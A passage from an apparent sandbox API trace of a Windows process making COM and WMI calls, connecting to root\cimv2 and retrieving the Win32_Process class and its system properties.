riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bea0230) returned 0x0 [0072.394] WbemDefPath:IUnknown:AddRef (This=0x1bea0230) returned 0x3 [0072.394] WbemDefPath:IUnknown:Release (This=0x1bea0230) returned 0x2 [0072.394] WbemDefPath:IWbemPath:SetText (This=0x1bea0230, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0072.394] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0230, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0072.394] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0230, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0072.394] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0230, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0072.394] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0072.394] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0072.394] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0072.394] IUnknown:Release (This=0x111f638) returned 0x1 [0072.395] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1beaa350) returned 0x0 [0072.396] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa350, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0072.396] WbemLocator:IClassFactory:CreateInstance (in: This=0x1beaa350, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1beaa230) returned 0x0 [0072.396] WbemLocator:IUnknown:Release (This=0x1beaa350) returned 0x0 [0072.396] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa230, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1beaa230) returned 0x0 [0072.396] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa230, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0072.396] WbemLocator:IUnknown:AddRef (This=0x1beaa230) returned 0x3 [0072.396] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa230, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0072.396] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa230, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0072.396] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa230, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0072.396] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0072.396] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0072.396] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa230, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0072.397] WbemLocator:IUnknown:Release (This=0x1beaa230) returned 0x2 [0072.397] WbemLocator:IUnknown:Release (This=0x1beaa230) returned 0x1 [0072.397] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0072.397] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0072.397] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa230, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1beaa230) returned 0x0 [0072.397] WbemLocator:IUnknown:AddRef (This=0x1beaa230) returned 0x3 [0072.397] WbemLocator:IUnknown:Release (This=0x1beaa230) returned 0x2 [0072.397] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0230, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0072.397] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0230, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0072.397] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0230, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0072.397] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1beaa290) returned 0x0 [0072.397] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1beaa290, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bed1df0) returned 0x0 [0072.466] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed1df0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11e0320) returned 0x0 [0072.466] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11e0320, pProxy=0x1bed1df0, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0072.466] WbemLocator:IUnknown:Release (This=0x11e0320) returned 0x1 [0072.466] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed1df0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11e0360) returned 0x0 [0072.466] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed1df0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11e0320) returned 0x0 [0072.466] WbemLocator:IClientSecurity:SetBlanket (This=0x11e0320, pProxy=0x1bed1df0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0072.466] WbemLocator:IUnknown:Release (This=0x11e0320) returned 0x2 [0072.466] WbemLocator:IUnknown:Release (This=0x11e0360) returned 0x1 [0072.466] CoTaskMemFree (pv=0x1bed0470) [0072.466] WbemLocator:IUnknown:AddRef (This=0x1bed1df0) returned 0x2 [0072.467] WbemLocator:IUnknown:Release (This=0x1beaa290) returned 0x0 [0072.467] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0072.467] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0072.467] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed1df0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11e0330) returned 0x0 [0072.467] WbemLocator:IRpcOptions:Query (in: This=0x11e0330, pPrx=0x1beaa1d0, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0072.467] WbemLocator:IUnknown:Release (This=0x11e0330) returned 0x2 [0072.467] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0072.467] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0072.467] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed1df0, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bed1df0) returned 0x0 [0072.467] WbemLocator:IUnknown:Release (This=0x1bed1df0) returned 0x2 [0072.467] SysStringLen (param_1=0x0) returned 0x0 [0072.468] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0230, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0072.468] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0230, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0072.468] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0230, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0072.468] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0072.468] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0072.468] IWbemServices:GetObject (in: This=0x1bed1df0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11ea670, ppCallResult=0x0) returned 0x0 [0072.482] IWbemClassObject:Get (in: This=0x11ea670, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0072.482] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0072.482] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0072.482] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0072.483] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0072.483] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0072.483] IUnknown:Release (This=0x111f638) returned 0x1 [0072.484] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1beaa290) returned 0x0 [0072.485] WbemDefPath:IUnknown:QueryInterface (in: This=0x1beaa290, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0072.485] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1beaa290, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bea0170) returned 0x0 [0072.485] WbemDefPath:IUnknown:Release (This=0x1beaa290) returned 0x0 [0072.485] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bea0170) returned 0x0 [0072.485] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0072.485] WbemDefPath:IUnknown:AddRef (This=0x1bea0170) returned 0x3 [0072.485] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0072.485] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0072.485] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1beaa2b0) returned 0x0 [0072.485] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1beaa2b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0072.485] WbemDefPath:IUnknown:Release (This=0x1beaa2b0) returned 0x3 [0072.485] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0072.486] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0072.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0072.486] WbemDefPath:IUnknown:Release (This=0x1bea0170) returned 0x2 [0072.486] WbemDefPath:IUnknown:Release (This=0x1bea0170) returned 0x1 [0072.486] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0072.486] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0072.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bea0170) returned 0x0 [0072.486] WbemDefPath:IUnknown:AddRef (This=0x1bea0170) returned 0x3 [0072.486] WbemDefPath:IUnknown:Release (This=0x1bea0170) returned 0x2 [0072.486] WbemDefPath:IWbemPath:SetText (This=0x1bea0170, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0072.486] IWbemClassObject:Get (in: This=0x11ea670, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0072.486] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0072.486] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0072.486] IWbemClassObject:Get (in: This=0x11ea670, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0072.486] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0072.487] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0072.487] IWbemClassObject:Get (in: This=0x11ea670, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0072.487] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0072.487] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0072.487] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0072.487] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0072.487] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0072.487] IUnknown:Release (This=0x111f638) returned 0x1 [0072.489] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1beaa390) returned 0x0 [0072.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x1beaa390, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0072.489] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1beaa390, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea00b0) returned 0x0 [0072.489] WbemDefPath:IUnknown:Release (This=0x1beaa390) returned 0x0 [0072.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea00b0) returned 0x0 [0072.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0072.490] WbemDefPath:IUnknown:AddRef (This=0x1bea00b0) returned 0x3 [0072.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0072.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0072.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11e8130) returned 0x0 [0072.490] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e8130, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, 